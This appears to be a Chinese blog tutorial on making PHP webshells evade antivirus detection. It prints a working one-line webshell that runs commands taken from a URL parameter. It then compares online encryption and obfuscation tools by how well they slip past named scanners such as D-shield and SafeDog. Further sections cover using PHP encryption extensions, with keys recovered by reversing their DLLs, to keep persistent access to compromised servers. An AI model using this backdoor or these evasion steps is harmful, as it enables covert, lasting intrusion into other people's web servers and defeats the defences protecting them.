什么?你還不會webshell免殺?
無擴展免殺
1.php加密
這里是利用phpjiami網站進行加密,進而達到加密效果
https://www.phpjiami.com/

加密前:
<?php session_start(); $a = "a"; $s = "s"; $c=$a.$s."sert"; $c($_GET["1"]); ?>
查殺效果


可以看到這里D某和某狗都查殺
里用php加密后效果

查殺效果


可以看到這里只有D某會顯示加密腳本,而某狗直接繞過
2.dezend加密
http://dezend.qiling.org/encrypt.html


免殺效果

可以看到dezend加密的特征還是太過明顯
3.z5encrypt
https://z5encrypt.com/encrypt/build

4.php-obfuscator
工具下載
https://github.com/naneau/php-obfuscator
在線工具
https://www.phpobfuscator.cn/


不太行
5.yakpro-po
工具下載
https://github.com/pk-fr/yakpro-po
在線工具
https://www.php-obfuscator.com/?demo

免殺效果

img
并不太行
6.phpjm
http://www.phpjm.net/encode.html
加密后效果

免殺效果


7.Virbox
工具下載
https://shell.virbox.com/apply.html
加密后效果

Virbox已經屬于是商業源碼加密,基本上沒有任何特征
但是由于這個是需要將生成好的php-cqi.exe原有的php-cqi.exe才能達到解密的效果,因此只能說作為一個權限維持的方式,先拿到權限后,修改php-cqi.exe,在上這種加密馬,作為一個權限維持
加密過程:
https://baijiahao.baidu.com/s?id=1671004157804653895&wfr=spider&for=pc
免殺效果


7.總結
以上總結了webshell加密的工具,其實在非擴展的加密工具中,其原理很多就是混淆變量名和函數名,類名,命名空間等等,可以配合多個加密工具進行多種加密,當然也可以和之前文章的免殺進行結合
擴展免殺
由于很多企業為了防止源碼泄露,都會使用加密擴展將代碼進行加密,那么我們就可以就將計就計,將webshell也利用擴展加密,將特征消除,從而達到免殺的效果
1.php-beast
擴展地址
https://github.com/liexusong/php-beast https://github.com/imaben/php-beast-binaries
下載dll,并添加至ext中

在php.ini 中添加該擴展

修改configure.ini
; source path src_path = "C:/Users/12107/Desktop/demo/" ; destination path dst_path = "C:/Users/12107/Desktop/demo2/" ; expire time expire = "2021-09-08 17:01:20" ; encrypt type encrypt_type = "AES"



當然也可以不使用默認密鑰
在aes_algo_handler.c中可以修改默認密鑰

當然如果沒有密鑰其實是無法生成一個能被解析的php文件,因此還需要通過逆向獲取dll中的密鑰
破解參考:
http://www.phpheidong.com/blog/article/337644/71c2cabcc769f99d7808/
2.screw_plus
環境搭建
https://blog.oioweb.cn/64.html https://newsn.net/say/php-screw-plus.html
破解參考:
https://www.cnblogs.com/StudyCat/p/11268399.html
3.總結
基于擴展的免殺,如果知道密鑰,經加密后的webshell是不具備任何特征的,基本上直接通殺。
具體步驟通過phpinfo獲取擴展信息,根據不同的加密擴展進行嘗試利用默認密鑰進行加密,通過訪問webshell來判斷密鑰是否正確,當然,這種方法其實只能用于權限維持需要拿到權限后獲取擴展文件破解后,才能穩定獲取密鑰,進而加密webshell